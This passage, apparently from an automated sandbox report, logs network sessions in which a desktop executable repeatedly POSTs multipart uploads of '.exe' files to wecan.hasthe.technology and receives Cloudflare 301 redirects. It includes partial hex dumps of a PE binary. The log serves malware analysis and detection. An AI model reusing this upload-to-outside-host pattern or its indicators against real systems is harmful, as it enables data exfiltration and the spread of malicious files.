3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49743	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:25.667072058 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------def472c998c78c1a
Oct 10, 2024 21:01:26.116501093 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:26.117332935 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 65 66 34 37 32 63 39 39 38 63 37 38 63 31 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------def472c998c78c1aContent-Disposition: form-data; name="file[]"; filename="rifaien2-eei39BxrAlW6aX8E.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:26.117609024 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:26.122729063 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:26.122787952 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:26.122813940 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:26.122837067 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:26.122915983 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:26.122953892 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:26.122971058 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:26.123358011 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:26.425620079 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:26 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:26 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X7z0F3AUzJexIl95sF0Thh%2B8VxeaWwckWPG1KUS96sXDx1Lg4uXb83BuWMeGPngMyWdBgmtN7iS%2BG9iBMLFVDYmWb%2Bz1F46lN5QTWlxQErdzjX1e2hDpl8qk8UTb06hao4IocXowcrMc0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbe60d611977-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49744	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:26.592902899 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------5092572f761dc69a
Oct 10, 2024 21:01:27.079758883 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:27.080557108 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 30 39 32 35 37 32 66 37 36 31 64 63 36 39 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------5092572f761dc69aContent-Disposition: form-data; name="file[]"; filename="rifaien2-0G3Ju1SgiNMbtyyd.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:27.080775023 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:27.086235046 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:27.086332083 CEST	4944	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:27.087425947 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:27.087548018 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:27.087658882 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:27.087682962 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:27.087732077 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:27.090778112 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:27.417340040 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:27 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:27 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vxD29uB5z6vHKrv30yFrNc4a9wlAJtammF1UvtSKRh74FZHzzhAr8kWLOWUTW40NFAMrPxWhijZgnFnevs060LV9fFWRPOEb62XGMh7iua%2BHHX%2FX8jrESbQBfI0dL7mgX6vUB9Kz%2FGFI9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbec091e0f89-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49745	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:27.623673916 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------f660ad1ffa63ec9d
Oct 10, 2024 21:01:28.093676090 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:28.102871895 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 66 36 36 30 61 64 31 66 66 61 36 33 65 63 39 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------f660ad1ffa63ec9dContent-Disposition: form-data; name="file[]"; filename="rifaien2-yaHGIObEHeHxPiG1.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:28.103370905 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:28.109879017 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:28.110028982 CEST	4944	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:28.110028982 CEST	1236	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:28.110055923 CEST	1236	OUT	Data Raw: 33 17 91 13 a7 40 9d 1f 25 13 d6 cd 0c 00 00 ce 51 0f ec 46 a7 8d 83 fa 69 4c c4 c1 4e 1d 18 89 83 b4 fd fb 86 e7 13 91 c5 09 48 0f 85 84 3f 13 c6 83 f4 76 96 90 30 56 86 12 01 3a aa 82 05 0b 34 0d 66 a8 91 45 2b 13 79 13 f0 98 a1 46 5d 13 8d 83 Data Ascii: 3@%QFiLNH?v0V:4fE+yF]}.,)rv:"9+3+sD6l@U\a)q=$0{?V`03"B ,"0M2w*pT0T&LCH+dBDDqsmXcQ
Oct 10, 2024 21:01:28.110079050 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:28.110111952 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:28.110150099 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:28.110168934 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:28.409688950 CEST	823	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:28 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:28 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I8oCky7EyeRrxJLoWMqIVd%2FeuI5WRvpIoFFjWnKKacQImkZpKytJCiqo49pZZyvAI%2FXIMJMlU7uLhkTOJH7lnP2yVovLNRpb%2BFItgL7%2B3hd%2BJ%2F1YhP0VyO%2F2eSnA7%2BBvmL40oSvKshOiKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbf26dfd4386-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49747	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:28.610761881 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------e3deb8ed571961ed
Oct 10, 2024 21:01:29.097059011 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:29.097819090 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 33 64 65 62 38 65 64 35 37 31 39 36 31 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------e3deb8ed571961edContent-Disposition: form-data; name="file[]"; filename="rifaien2-tolfs77xPfDJew2m.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:29.098018885 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:29.103403091 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:29.103470087 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
